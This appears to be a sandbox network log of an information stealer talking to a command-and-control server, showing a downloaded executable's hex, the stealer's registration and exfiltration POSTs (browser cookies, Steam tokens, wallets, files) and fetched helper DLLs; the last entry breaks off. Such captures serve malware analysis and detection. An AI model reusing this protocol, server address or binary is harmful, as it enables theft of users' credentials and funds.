Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Fri, 20 Dec 2024 21:52:39 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 10:49:08 GMTETag: "13bf0-5e7ebd4425100"Accept-Ranges: bytesContent-Length: 80880Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e0 e3 00 00 14 09 00 00 b8 00 01 00 8c 00 00 00 00 10 01 00 00 04 00 00 00 00 00 00 00 00 00 00 00 fa 00 00 f0 41 00 00 00 20 01 00 10 0a 00 00 80 20 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 20 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 b4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 f4 dc 00 00 00 10 00 00 00 de 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 f4 05 00 00 00 f0 00 00 00 02 00 00 00 e2 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 84 05 00 00 00 00 01 00 00 06 00 00 00 e4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 00 04 00 00 00 10 01 00 00 04 00 00 00 ea 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 10 0a 00 00 00 20 01 00 00 0c 00 00 00 ee 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.219.81.132Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c3d039fb36c40339.php HTTP/1.1Content-Type: multipart/form-data; boundary=----EBAKKFHJDBKKEBFHDAAEHost: 185.219.81.132Content-Length: 217Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 45 42 41 4b 4b 46 48 4a 44 42 4b 4b 45 42 46 48 44 41 41 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 33 32 36 39 38 31 34 43 37 43 46 33 33 37 30 31 39 39 31 34 39 39 0d 0a 2d 2d 2d 2d 2d 2d 45 42 41 4b 4b 46 48 4a 44 42 4b 4b 45 42 46 48 44 41 41 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 4c 6f 67 73 44 69 6c 6c 65 72 0d 0a 2d 2d 2d 2d 2d 2d 45 42 41 4b 4b 46 48 4a 44 42 4b 4b 45 42 46 48 44 41 41 45 2d 2d 0d 0a Data Ascii: ------EBAKKFHJDBKKEBFHDAAEContent-Disposition: form-data; name="hwid"3269814C7CF33701991499------EBAKKFHJDBKKEBFHDAAEContent-Disposition: form-data; name="build"LogsDiller------EBAKKFHJDBKKEBFHDAAE--
Source: global traffic	HTTP traffic detected: POST /c3d039fb36c40339.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BAKJKFHCAEGDHIDGDHDAHost: 185.219.81.132Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 42 41 4b 4a 4b 46 48 43 41 45 47 44 48 49 44 47 44 48 44 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 34 64 35 62 38 35 63 38 34 30 35 64 31 34 31 36 31 66 38 33 35 38 38 39 62 33 31 61 64 63 32 33 30 65 64 64 33 63 63 31 35 37 33 37 30 36 66 62 66 62 62 62 66 31 61 39 31 66 65 65 65 65 66 37 38 37 33 34 33 33 66 0d 0a 2d 2d 2d 2d 2d 2d 42 41 4b 4a 4b 46 48 43 41 45 47 44 48 49 44 47 44 48 44 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 42 41 4b 4a 4b 46 48 43 41 45 47 44 48 49 44 47 44 48 44 41 2d 2d 0d 0a Data Ascii: ------BAKJKFHCAEGDHIDGDHDAContent-Disposition: form-data; name="token"d4d5b85c8405d14161f835889b31adc230edd3cc1573706fbfbbbf1a91feeeef7873433f------BAKJKFHCAEGDHIDGDHDAContent-Disposition: form-data; name="message"browsers------BAKJKFHCAEGDHIDGDHDA--
Source: global traffic	HTTP traffic detected: POST /c3d039fb36c40339.php HTTP/1.1Content-Type: multipart/form-data; boundary=----DGDAEHCBGIIJJJJKKKEHHost: 185.219.81.132Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 44 47 44 41 45 48 43 42 47 49 49 4a 4a 4a 4a 4b 4b 4b 45 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 34 64 35 62 38 35 63 38 34 30 35 64 31 34 31 36 31 66 38 33 35 38 38 39 62 33 31 61 64 63 32 33 30 65 64 64 33 63 63 31 35 37 33 37 30 36 66 62 66 62 62 62 66 31 61 39 31 66 65 65 65 65 66 37 38 37 33 34 33 33 66 0d 0a 2d 2d 2d 2d 2d 2d 44 47 44 41 45 48 43 42 47 49 49 4a 4a 4a 4a 4b 4b 4b 45 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 44 47 44 41 45 48 43 42 47 49 49 4a 4a 4a 4a 4b 4b 4b 45 48 2d 2d 0d 0a Data Ascii: ------DGDAEHCBGIIJJJJKKKEHContent-Disposition: form-data; name="token"d4d5b85c8405d14161f835889b31adc230edd3cc1573706fbfbbbf1a91feeeef7873433f------DGDAEHCBGIIJJJJKKKEHContent-Disposition: form-data; name="message"plugins------DGDAEHCBGIIJJJJKKKEH--
Source: global traffic	HTTP traffic detected: POST /c3d039fb36c40339.php HTTP/1.1Content-Type: multipart/form-data; boundary=----KEGDAKEHJDHIDHJJDAECHost: 185.219.81.132Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4b 45 47 44 41 4b 45 48 4a 44 48 49 44 48 4a 4a 44 41 45 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 34 64 35 62 38 35 63 38 34 30 35 64 31 34 31 36 31 66 38 33 35 38 38 39 62 33 31 61 64 63 32 33 30 65 64 64 33 63 63 31 35 37 33 37 30 36 66 62 66 62 62 62 66 31 61 39 31 66 65 65 65 65 66 37 38 37 33 34 33 33 66 0d 0a 2d 2d 2d 2d 2d 2d 4b 45 47 44 41 4b 45 48 4a 44 48 49 44 48 4a 4a 44 41 45 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 4b 45 47 44 41 4b 45 48 4a 44 48 49 44 48 4a 4a 44 41 45 43 2d 2d 0d 0a Data Ascii: ------KEGDAKEHJDHIDHJJDAECContent-Disposition: form-data; name="token"d4d5b85c8405d14161f835889b31adc230edd3cc1573706fbfbbbf1a91feeeef7873433f------KEGDAKEHJDHIDHJJDAECContent-Disposition: form-data; name="message"fplugins------KEGDAKEHJDHIDHJJDAEC--
Source: global traffic	HTTP traffic detected: POST /c3d039fb36c40339.php HTTP/1.1Content-Type: multipart/form-data; boundary=----HCAAEGIJKEGHIDGCBAEBHost: 185.219.81.132Content-Length: 7155Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /55a20037509cc641/sqlite3.dll HTTP/1.1Host: 185.219.81.132Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c3d039fb36c40339.php HTTP/1.1Content-Type: multipart/form-data; boundary=----HDGIJJDGCBKFIDHIEBKEHost: 185.219.81.132Content-Length: 419Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 48 44 47 49 4a 4a 44 47 43 42 4b 46 49 44 48 49 45 42 4b 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 34 64 35 62 38 35 63 38 34 30 35 64 31 34 31 36 31 66 38 33 35 38 38 39 62 33 31 61 64 63 32 33 30 65 64 64 33 63 63 31 35 37 33 37 30 36 66 62 66 62 62 62 66 31 61 39 31 66 65 65 65 65 66 37 38 37 33 34 33 33 66 0d 0a 2d 2d 2d 2d 2d 2d 48 44 47 49 4a 4a 44 47 43 42 4b 46 49 44 48 49 45 42 4b 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 59 32 39 76 61 32 6c 6c 63 31 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 58 79 35 30 65 48 51 3d 0d 0a 2d 2d 2d 2d 2d 2d 48 44 47 49 4a 4a 44 47 43 42 4b 46 49 44 48 49 45 42 4b 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 65 79 4a 70 5a 43 49 36 4d 53 77 69 63 6d 56 7a 64 57 78 30 49 6a 70 37 49 6d 4e 76 62 32 74 70 5a 58 4d 69 4f 6c 74 64 66 58 30 3d 0d 0a 2d 2d 2d 2d 2d 2d 48 44 47 49 4a 4a 44 47 43 42 4b 46 49 44 48 49 45 42 4b 45 2d 2d 0d 0a Data Ascii: ------HDGIJJDGCBKFIDHIEBKEContent-Disposition: form-data; name="token"d4d5b85c8405d14161f835889b31adc230edd3cc1573706fbfbbbf1a91feeeef7873433f------HDGIJJDGCBKFIDHIEBKEContent-Disposition: form-data; name="file_name"Y29va2llc1xHb29nbGUgQ2hyb21lXy50eHQ=------HDGIJJDGCBKFIDHIEBKEContent-Disposition: form-data; name="file"eyJpZCI6MSwicmVzdWx0Ijp7ImNvb2tpZXMiOltdfX0=------HDGIJJDGCBKFIDHIEBKE--
Source: global traffic	HTTP traffic detected: POST /c3d039fb36c40339.php HTTP/1.1Content-Type: multipart/form-data; boundary=----GCGDGHCBGDHJJKECAECBHost: 185.219.81.132Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 47 43 47 44 47 48 43 42 47 44 48 4a 4a 4b 45 43 41 45 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 34 64 35 62 38 35 63 38 34 30 35 64 31 34 31 36 31 66 38 33 35 38 38 39 62 33 31 61 64 63 32 33 30 65 64 64 33 63 63 31 35 37 33 37 30 36 66 62 66 62 62 62 66 31 61 39 31 66 65 65 65 65 66 37 38 37 33 34 33 33 66 0d 0a 2d 2d 2d 2d 2d 2d 47 43 47 44 47 48 43 42 47 44 48 4a 4a 4b 45 43 41 45 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 47 43 47 44 47 48 43 42 47 44 48 4a 4a 4b 45 43 41 45 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 47 43 47 44 47 48 43 42 47 44 48 4a 4a 4b 45 43 41 45 43 42 2d 2d 0d 0a Data Ascii: ------GCGDGHCBGDHJJKECAECBContent-Disposition: form-data; name="token"d4d5b85c8405d14161f835889b31adc230edd3cc1573706fbfbbbf1a91feeeef7873433f------GCGDGHCBGDHJJKECAECBContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------GCGDGHCBGDHJJKECAECBContent-Disposition: form-data; name="file"------GCGDGHCBGDHJJKECAECB--
Source: global traffic	HTTP traffic detected: POST /c3d039fb36c40339.php HTTP/1.1Content-Type: multipart/form-data; boundary=----DAEBFHJKJEBFCBFHDAEGHost: 185.219.81.132Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 44 41 45 42 46 48 4a 4b 4a 45 42 46 43 42 46 48 44 41 45 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 34 64 35 62 38 35 63 38 34 30 35 64 31 34 31 36 31 66 38 33 35 38 38 39 62 33 31 61 64 63 32 33 30 65 64 64 33 63 63 31 35 37 33 37 30 36 66 62 66 62 62 62 66 31 61 39 31 66 65 65 65 65 66 37 38 37 33 34 33 33 66 0d 0a 2d 2d 2d 2d 2d 2d 44 41 45 42 46 48 4a 4b 4a 45 42 46 43 42 46 48 44 41 45 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 44 41 45 42 46 48 4a 4b 4a 45 42 46 43 42 46 48 44 41 45 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 44 41 45 42 46 48 4a 4b 4a 45 42 46 43 42 46 48 44 41 45 47 2d 2d 0d 0a Data Ascii: ------DAEBFHJKJEBFCBFHDAEGContent-Disposition: form-data; name="token"d4d5b85c8405d14161f835889b31adc230edd3cc1573706fbfbbbf1a91feeeef7873433f------DAEBFHJKJEBFCBFHDAEGContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------DAEBFHJKJEBFCBFHDAEGContent-Disposition: form-data; name="file"------DAEBFHJKJEBFCBFHDAEG--
Source: global traffic	HTTP traffic detected: GET /55a20037509cc641/freebl3.dll HTTP/1.1Host: 185.219.81.132Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /55a20037509cc641/mozglue.dll HTTP/1.1Host: 185.219.81.132Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /55a20037509cc641/msvcp140.dll HTTP/1.1Host: 185.219.81.132Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /55a20037509cc641/nss3.dll HTTP/1.1Host: 185.219.81.132Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /55a20037509cc641/softokn3.dll HTTP/1.1Host: 185.219.81.132Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /55a20037509cc641/vcruntime140.dll HTTP/1.1Host: 185.219.81.132Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c3d039fb36c40339.php HTTP/1.1Content-Type: multipart/form-data; boundary=----CAKKEGDGCGDAKEBFIJECHost: 185.219.81.132Content-Length: 947Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c3d039fb36c40339.php HTTP/1.1Content-Type: multipart/form-data; boundary=----CAKKEGDGCGDAKEBFIJECHost: 185.219.81.132Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 43 41 4b 4b 45 47 44 47 43 47 44 41 4b 45 42 46 49 4a 45 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 34 64 35 62 38 35 63 38 34 30 35 64 31 34 31 36 31 66 38 33 35 38 38 39 62 33 31 61 64 63 32 33 30 65 64 64 33 63 63 31 35 37 33 37 30 36 66 62 66 62 62 62 66 31 61 39 31 66 65 65 65 65 66 37 38 37 33 34 33 33 66 0d 0a 2d 2d 2d 2d 2d 2d 43 41 4b 4b 45 47 44 47 43 47 44 41 4b 45 42 46 49 4a 45 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 43 41 4b 4b 45 47 44 47 43 47 44 41 4b 45 42 46 49 4a 45 43 2d 2d 0d 0a Data Ascii: ------CAKKEGDGCGDAKEBFIJECContent-Disposition: form-data; name="token"d4d5b85c8405d14161f835889b31adc230edd3cc1573706fbfbbbf1a91feeeef7873433f------CAKKEGDGCGDAKEBFIJECContent-Disposition: form-data; name="message"wallets------CAKKEGDGCGDAKEBFIJEC--
Source: global traffic	HTTP traffic detected: POST /c3d039fb36c40339.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BAFIEGIECGCBKFIEBGCAHost: 185.219.81.132Content-Length: 265Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 42 41 46 49 45 47 49 45 43 47 43 42 4b 46 49 45 42 47 43 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 34 64 35 62 38 35 63 38 34 30 35 64 31 34 31 36 31 66 38 33 35 38 38 39 62 33 31 61 64 63 32 33 30 65 64 64 33 63 63 31 35 37 33 37 30 36 66 62 66 62 62 62 66 31 61 39 31 66 65 65 65 65 66 37 38 37 33 34 33 33 66 0d 0a 2d 2d 2d 2d 2d 2d 42 41 46 49 45 47 49 45 43 47 43 42 4b 46 49 45 42 47 43 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 42 41 46 49 45 47 49 45 43 47 43 42 4b 46 49 45 42 47 43 41 2d 2d 0d 0a Data Ascii: ------BAFIEGIECGCBKFIEBGCAContent-Disposition: form-data; name="token"d4d5b85c8405d14161f835889b31adc230edd3cc1573706fbfbbbf1a91feeeef7873433f------BAFIEGIECGCBKFIEBGCAContent-Disposition: form-data; name="message"files------BAFIEGIECGCBKFIEBGCA--
Source: global traffic	HTTP traffic detected: POST /c3d039fb36c40339.php HTTP/1.1Content-Type: multipart/form-data; boundary=----HDBGHDHCGHCAAKEBKECBHost: 185.219.81.132Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 48 44 42 47 48 44 48 43 47 48 43 41 41 4b 45 42 4b 45 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 34 64 35 62 38 35 63 38 34 30 35 64 31 34 31 36 31 66 38 33 35 38 38 39 62 33 31 61 64 63 32 33 30 65 64 64 33 63 63 31 35 37 33 37 30 36 66 62 66 62 62 62 66 31 61 39 31 66 65 65 65 65 66 37 38 37 33 34 33 33 66 0d 0a 2d 2d 2d 2d 2d 2d 48 44 42 47 48 44 48 43 47 48 43 41 41 4b 45 42 4b 45 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 48 44 42 47 48 44 48 43 47 48 43 41 41 4b 45 42 4b 45 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 48 44 42 47 48 44 48 43 47 48 43 41 41 4b 45 42 4b 45 43 42 2d 2d 0d 0a Data Ascii: ------HDBGHDHCGHCAAKEBKECBContent-Disposition: form-data; name="token"d4d5b85c8405d14161f835889b31adc230edd3cc1573706fbfbbbf1a91feeeef7873433f------HDBGHDHCGHCAAKEBKECBContent-Disposition: form-data; name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------HDBGHDHCGHCAAKEBKECBContent-Disposition: form-data; name="file"------HDBGHDHCGHCAAKEBKECB--
Source: global traffic	HTTP traffic detected: POST /c3d039fb36c40339.php HTTP/1.1Content-Type: multipart/form-data; boundary=----FBKKFBAEGDHJJJJKFBKFHost: 185.219.81.132Content-Length: 130387Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c3d039fb36c40339.php HTTP/1.1Content-Type: multipart/form-data; boundary=----AKKKECBKKECGCAAAEHJKHost: 185.219.81.132Content-Length: 272Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 41 4b 4b 4b 45 43 42 4b 4b 45 43 47 43 41 41 41 45 48 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 34 64 35 62 38 35 63 38 34 30 35 64 31 34 31 36 31 66 38 33 35 38 38 39 62 33 31 61 64 63 32 33 30 65 64 64 33 63 63 31 35 37 33 37 30 36 66 62 66 62 62 62 66 31 61 39 31 66 65 65 65 65 66 37 38 37 33 34 33 33 66 0d 0a 2d 2d 2d 2d 2d 2d 41 4b 4b 4b 45 43 42 4b 4b 45 43 47 43 41 41 41 45 48 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 79 62 6e 63 62 68 79 6c 65 70 6d 65 0d 0a 2d 2d 2d 2d 2d 2d 41 4b 4b 4b 45 43 42 4b 4b 45 43 47 43 41 41 41 45 48 4a 4b 2d 2d 0d 0a Data Ascii: ------AKKKECBKKECGCAAAEHJKContent-Disposition: form-data; name="token"d4d5b85c8405d14161f835889b31adc230edd3cc1573706fbfbbbf1a91feeeef7873433f------AKKKECBKKECGCAAAEHJKContent-Disposition: form-data; name="message"ybncbhylepme------AKKKECBKKECGCAAAEHJK--
Source: global traffic	HTTP traffic detected: POST /c3d039fb36c40339.php HTTP/1.1Content-Type: multipart/form-data; boundary=----DBGIJEHIIDGCFHIEGDGCHost: 185.219.81.132Content-Length: 272Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 44 42 47 49 4a 45 48 49 49 44 47 43 46 48 49 45 47 44 47 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 34 64 35 62 38 35 63 38 34 30 35 64 31 34 31 36 31 66 38 33 35 38 38 39 62 33 31 61 64 63 32 33 30 65 64 64 33 63 63 31 35 37 33 37 30 36 66 62 66 62 62 62 66 31 61 39 31 66 65 65 65 65 66 37 38 37 33 34 33 33 66 0d 0a 2d 2d 2d 2d 2d 2d 44 42 47 49 4a 45 48 49 49 44 47 43 46 48 49 45 47 44 47 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 6b 6b 6a 71 61 69 61 78 6b 68 62 0d 0a 2d 2d 2d 2d 2d 2d 44 42 47 49 4a 45 48 49 49 44 47 43 46 48 49 45 47 44 47 43 2d 2d 0d 0a Data Ascii: ------DBGIJEHIIDGCFHIEGDGCContent-Disposition: form-data; name="token"d4d5b85c8405d14161f835889b31adc230edd3cc1573706fbfbbbf1a91feeeef7873433f------DBGIJEHIIDGCFHIEGDGCContent-Disposition: form-data; 